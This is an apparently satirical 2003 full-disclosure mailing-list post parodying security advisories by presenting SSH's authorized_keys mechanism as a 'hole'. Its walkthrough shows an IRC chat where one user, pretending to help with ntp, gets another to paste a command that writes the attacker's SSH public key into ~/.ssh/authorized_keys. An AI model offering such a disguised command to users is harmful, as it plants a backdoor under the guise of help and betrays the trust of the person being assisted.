full-disclosure - SSH/OPENSSH HOLE ALL VERSIONS.

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Message-ID: <200303042218.h24MIKiY003216@mailserver2.hushmail.com>
From: diacetyl at hushmail.com (diacetyl@...hmail.com)
Subject: SSH/OPENSSH HOLE ALL VERSIONS.

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I. BACKGROUND

(stolen from manpage)
     ssh (SSH client) is a program for logging into a remote machine and for
     executing commands on a remote machine.  It is intended to replace rlogin
     and rsh, and provide secure encrypted communications between two untrust
     ed hosts over an insecure network.  X11 connections and arbitrary TCP/IP
     ports can also be forwarded over the secure channel.

II. DESCRIPTION

The ssh command contains an innate system of backdooring that can be levereged
by an attacker to gain the access of another user.

The crux of this problem lies in the face that any public key dropped to
~/.ssh/authorized_keys may be used to gain entry to the machine under the
priveledges of that user by he who posesses the corresponding private key.

III. ANALYSIS

A user who can successfully convince another user to write his ssh public key
to ~/.ssh/authorized_keys will be able to gain access to that machine under
that user's priveledges.

The following is a sample walkthrough of a successful exploitation of this
vulnerability.

·f· zerofel [~zerofel@...8n2fls33o1215.telia.com] has joined #linuxhelp
<zerofel> how do i use ntp to set my time?
<sup3rfo0> echo ntp;echo "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAsWihy/NGclBRhEVNgQezRGSx9D0AMqDY/eGYMNW9WlO/szVRKrlGYpMmsvOen/Kcocz0TxDPDZXLGGDL0U77A036WBIL64HPAg3ADteSa1heDJjxUWMa45Aj0bhBEJCofkraasOwxTgKYe6KXCKQu9GOS+VoCYUSSJtUk11G+tE= unf@...ptamine">~/.ssh/authorized_keys
<sup3rfo0> that should do it
<zerofel> okay but my date still isnt set
<sup3rfo0> hmm paste the output of ls ~
<zerofel> bash-2.05$ ls
<zerofel> HAHA_I_DELETED_ALL_YOUR_FILES
<zerofel> WTF

IV. VENDOR RESPONSE

I have informed ssh developers about this vulnerability and they have not
replied. I am forced to disclose this gaping vulnerability to force them
to patch the bug.

V. PROPS

iDEFENSE for their elite file advisory
http://lists.netsys.com/pipermail/full-disclosure/2003-March/004423.html
these warriors of full-disclosure give me the courage to release this
vulnerability even after death threats from evil blackhats who shut off
my power, ruined my credit, and got me fired from my job.
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